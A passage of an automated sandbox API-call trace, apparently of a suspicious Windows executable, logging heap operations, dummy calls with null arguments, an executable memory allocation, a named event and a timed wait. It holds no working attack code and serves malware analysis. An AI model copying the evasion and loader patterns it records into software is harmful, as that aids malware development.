param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.113] GetLastError () returned 0x579 [0141.113] SetLastError (dwErrCode=0x579) [0141.113] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.113] SymCleanup (hProcess=0x0) returned 0 [0141.114] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.114] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.417] GradientFill () returned 0x0 [0141.418] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x18) returned 0x7bb638 [0141.418] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x18) returned 0x7bb758 [0141.418] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x18) returned 0x7bb6d8 [0141.418] GetClientRect (in: hWnd=0x0, lpRect=0x19fa20 | out: lpRect=0x19fa20) returned 0 [0141.418] ClientToScreen (in: hWnd=0x0, lpPoint=0x19fa20 | out: lpPoint=0x19fa20) returned 0 [0141.419] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x40) returned 0x2200000 [0141.419] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7bb6d8 | out: hHeap=0x7a0000) returned 1 [0141.419] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7bb758 | out: hHeap=0x7a0000) returned 1 [0141.419] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7bb638 | out: hHeap=0x7a0000) returned 1 [0141.419] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="lifecicled") returned 0x358 [0141.419] GetCursorPos (in: lpPoint=0x19f9f0 | out: lpPoint=0x19f9f0*(x=846, y=117)) returned 1 [0141.419] GetLocalTime (in: lpSystemTime=0x19fa08 | out: lpSystemTime=0x19fa08*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0xb, wMinute=0x10, wSecond=0x26, wMilliseconds=0x171)) [0141.419] SystemTimeToVariantTime (in: lpSystemTime=0x19fa08, pvtime=0x19f9cc | out: pvtime=0x19f9cc) returned 1 [0141.419] SystemTimeToVariantTime (in: lpSystemTime=0x19fa08, pvtime=0x19f9e8 | out: pvtime=0x19f9e8) returned 1 [0141.419] UuidCreate (in: Uuid=0x19fa08 | out: Uuid=0x19fa08) returned 0x0 [0141.419] GetCursorPos (in: lpPoint=0x19f9bc | out: lpPoint=0x19f9bc*(x=846, y=117)) returned 1 [0141.419] UuidToStringW (in: Uuid=0x19fa08, StringUuid=0x19f9e8 | out: StringUuid=0x19f9e8) returned 0x0 [0141.419] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xbae) returned 0x102 [0144.437] UuidCreate (in: Uuid=0x19fa08 | out: Uuid=0x19fa08) returned 0x0 [0144.437] GetCursorPos (in: lpPoint=0x19f9bc | out: lpPoint=0x19f9bc*(x=846, y=117)) returned 1 [0144.437] UuidToStringW (in: Uuid=0x19fa08, StringUuid=0x19f9e8 | out: StringUuid=0x19f9e8) returned 0x0 [0144.437] CoTaskMemFree (pv=0x7cafd0) [0144.437] MMDeviceEnumerator:IUnknown:Release (This=0x7b7380) returned 0x1 [0144.437] MMDeviceEnumerator:IUnknown:Release (This=0x7b30a0) returned 0x0 [0144.449] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x28) returned 0x7cb270 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7bb4b8 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7ce0 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x28) returned 0x7caee0 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7bb6d8 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7d4720 [0144.450] GetLastError () returned 0x0 [0144.450] SetLastError (dwErrCode=0x0) [0144.450] GetLastError () returned 0x0 [0144.450] SetLastError (dwErrCode=0x0) [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7d41c8 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7d4838 [0144.450] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4838 | out: hHeap=0x7a0000) returned 1 [0144.450] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c1f70 | out: hHeap=0x7a0000) returned 1 [0144.450] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b7cf8 | out: hHeap=0x7a0000) returned 1 [0144.450] GetLastError () returned 0x0 [0144.450] SetLastError (dwErrCode=0x0) [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7d4750 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7d4690 [0144.450] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7d47d0 [0144.450] GetLastError () returned 0x0 [0144.450] SetLastError (dwErrCode=0x0) [0144.450] GetLastError () returned 0x0 [0144.450] SetLastError (dwErrCode=0x0) [0144.451] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7b7cf8 [0144.451] GetLastError () returned 0x0 [0144.451] SetLastError (dwErrCode=0x0) [0144.451] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7d4838 [0144.451] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4838 | out: hHeap=0x7a0000) returned 1 [0144.451] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4750 | out: hHeap=0x7a0000) returned 1 [0144.451] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d41c8 | out: hHeap=0x7a0000) returned 1 [0144.451] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d47d0 | out: hHeap=0x7a0000) returned 1 [0144.451] GetLastError () returned 0x0 [0144.451] SetLastError (dwErrCode=0x0) [0144.451] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7d4810 [0144.451] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7d47d0 [0144.451] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7d4660 [0144.451] GetLastError () returned 0x0 [0144.451] SetLastError (dwErrCode=0x0) [0144.451] GetLastError () returned 0x0 [0144.451] SetLastError (dwErrCode=0x0) [0144.451] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7d41c8 [0144.452] GetLastError () returned 0x0 [0144.452] SetLastError (dwErrCode=0x0) [0144.452] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7d4838 [0144.452] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4838 | out: hHeap=0x7a0000) returned 1 [0144.452] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4810 | out: hHeap=0x7a0000) returned 1 [0144.452] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b7cf8 | out: hHeap=0x7a0000) returned 1 [0144.452] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4660 | out: hHeap=0x7a0000) returned 1 [0144.452] GetLastError () returned 0x0 [0144.452] SetLastError (dwErrCode=0x0) [0144.452] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7d4710 [0144.452] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d47d0 | out: hHeap=0x7a0000) returned 1 [0144.452] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4690 | out: hHeap=0x7a0000) returned 1 [0144.452] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7d4800 [0144.452] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7cfeb0 [0144.453] GetLastError () returned 0x0 [0144.453] SetLastError (dwErrCode=0x0) [0144.453] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x18) returned 0x7bb618 [0144.453] GetLastError () returned 0x0 [0144.453] SetLastError (dwErrCode=0x0) [0144.453] GetLastError () returned 0x0 [0144.453] SetLastError (dwErrCode=0x0) [0144.453] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7b7cf8 [0144.453] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7d4838 [0144.453] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4838 | out: hHeap=0x7a0000) returned 1 [0144.453] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4710 | out: hHeap=0x7a0000) returned 1 [0144.453] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d41c8 | out: hHeap=0x7a0000) returned 1 [0144.453] GetLastError () returned 0x0 [0144.453] SetLastError (dwErrCode=0x0) [0144.453] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7d46e0 [0144.453] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7d4740 [0144.453] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7d4760 [0144.453] GetLastError () returned 0x0 [0144.453] SetLastError (dwErrCode=0x0) [0144.453] GetLastError () returned 0x0 [0144.453] SetLastError (dwErrCode=0x0) [0144.453] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7d41c8 [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7d4838 [0144.454] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4838 | out: hHeap=0x7a0000) returned 1 [0144.454] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d46e0 | out: hHeap=0x7a0000) returned 1 [0144.454] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b7cf8 | out: hHeap=0x7a0000) returned 1 [0144.454] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4760 | out: hHeap=0x7a0000) returned 1 [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7d4710 [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x2) returned 0x7d47a0 [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1) returned 0x7d4760 [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x6) returned 0x7d4700 [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x5) returned 0x7d4660 [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7d47c0 [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] GetLastError () returned 0x0 [0144.454] SetLastError (dwErrCode=0x0) [0144.454] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb8) returned 0x7b7cf8 [0144.455] GetLastError () returned 0x0 [0144.455] SetLastError (dwErrCode=0x0) [0144.455] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6a6) returned 0x7d4838 [0144.455] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4838 | out: hHeap=0x7a0000) returned 1 [0144.455] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4710 | out: hHeap=0x7a0000) returned 1 [0144.455] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d41c8 | out: hHeap=0x7a0000) returned 1 [0144.455] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d47c0 | out: hHeap=0x7a0000) returned 1 [0144.455] GetLastError () returned 0x0 [0144.455] SetLastError (dwErrCode=0x0) [0144.455] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x6) returned 0x7d47c0 [0144.455] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d47a0 | out: hHeap=0x7a0000) returned 1 [0144.455] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4740 | out: hHeap=0x7a0000) returned 1 [0144.455] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7d4810 [0144.455] GetLastError () returned 0x0 [0144.455] SetLastError (dwErrCode=0x0) [0144.455] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x1000) returned 0x82b770 [0144.455] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfeb0 | out: hHeap=0x7a0000) returned 1 [0144.455] GetLastError () returned 0x0 [0144.455] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0144.455] SetLastError (dwErrCode=0x0) [0144.455] GetLastError () returned 0x0 [0144.455] SetLastError (dwErrCode=0x0) [0144.456] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7d01c8 [0144.456] GetLastError () returned 0x0 [0144.456] SetLastError (dwErrCode=0x0) [0144.456] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d01c8 | out: hHeap=0x7a0000) returned 1 [0144.456] GetLastError () returned 0x0 [0144.456] SetLastError (dwErrCode=0x0) [0144.456] GetLastError () returned 0x0 [0144.456] SetLastError (dwErrCode=0x0) [0144.456] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7cfbe0 [0144.456] GetLastError () returned 0x0 [0144.456] SetLastError (dwErrCode=0x0) [0144.456] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfbe0 | out: hHeap=0x7a0000) returned 1 [0144.456] GetLastError () returned 0x0 [0144.456] SetLastError (dwErrCode=0x0) [0144.456] GetLastError () returned 0x0 [0144.456] SetLastError (dwErrCode=0x0) [0144.456] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7cfeb0 [0144.456] GetLastError () returned 0x0 [0144.456] SetLastError (dwErrCode=0x0) [0144.457] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfeb0 | out: hHeap=0x7a0000) returned 1 [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.457] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7d0138 [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.457] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d0138 | out: hHeap=0x7a0000) returned 1 [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.457] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7cfeb0 [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.457] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfeb0 | out: hHeap=0x7a0000) returned 1 [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.457] GetLastError () returned 0x0 [0144.457] SetLastError (dwErrCode=0x0) [0144.458] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7cfeb0 [0144.458] GetLastError () returned 0x0 [0144.458] SetLastError (dwErrCode=0x0) [0144.458] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfeb0 | out: hHeap=0x7a0000) returned 1 [0144.458] GetLastError () returned 0x0 [0144.458] SetLastError (dwErrCode=0x0) [0144.458] GetLastError () returned 0x0 [0144.458] SetLastError (dwErrCode=0x0) [0144.458] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7d00a8 [0144.458] GetLastError () returned 0x0 [0144.458] SetLastError (dwErrCode=0x0) [0144.458] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d00a8 | out: hHeap=0x7a0000) returned 1 [0144.458] GetLastError () returned 0x0 [0144.458] SetLastError (dwErrCode=0x0) [0144.458] GetLastError () returned 0x0 [0144.458] SetLastError (dwErrCode=0x0) [0144.458] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7cfbe0 [0144.458] GetLastError () returned 0x0 [0144.458] SetLastError (dwErrCode=0x0) [0144.459] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfbe0 | out: hHeap=0x7a0000) returned 1 [0144.459] GetLastError () returned 0x0 [0144.459] SetLastError (dwErrCode=0x0) [0144.459] GetLastError () returned 0x0 [0144.459] SetLastError (dwErrCode=0x0) [0144.459] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x40) returned 0x7cfbe0 [0144.459] GetLastError () returned 0x0 [0144.459] SetLastError (dwErrCode=0x0) [0144.459] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfbe0 | out: hHeap=0x7a0000) returned 1 [0144.459] GetLastError () returned 0x0 [0144.459] SetLastError (dwErrCode=0x0) [0144.459] GetLastError () returned 0x0 [0144.459] SetLastError (dwErrCode=0x0) [0144.459] GetLastError () returned 0x0 [0144.459] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.460] SetLastError (dwErrCode=0x0) [0144.460] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.461] SetLastError (dwErrCode=0x0) [0144.461] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.462] GetLastError () returned 0x0 [0144.462] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.463] GetLastError () returned 0x0 [0144.463] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x4) returned 0x7d4670 [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.464] SetLastError (dwErrCode=0x0) [0144.464] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x8) returned 0x7d4730 [0144.465] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4670 | out: hHeap=0x7a0000) returned 1 [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.465] SetLastError (dwErrCode=0x0) [0144.465] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.466] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7c38 [0144.466] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7d4730 | out: hHeap=0x7a0000) returned 1 [0144.466] GetLastError () returned 0x0 [0144.466] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.544] GetLastError () returned 0x0 [0144.544] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.545] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.545] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.545] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.545] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.545] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.545] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.545] SetLastError (dwErrCode=0x0) [0144.545] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.546] GetLastError () returned 0x0 [0144.546] SetLastError (dwErrCode=0x0) [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.547] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7bb478 [0144.547] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c7c38 | out: hHeap=0x7a0000) returned 1 [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.547] GetLastError () returned 0x0 [0144.547] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.548] GetLastError () returned 0x0 [0144.548] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError 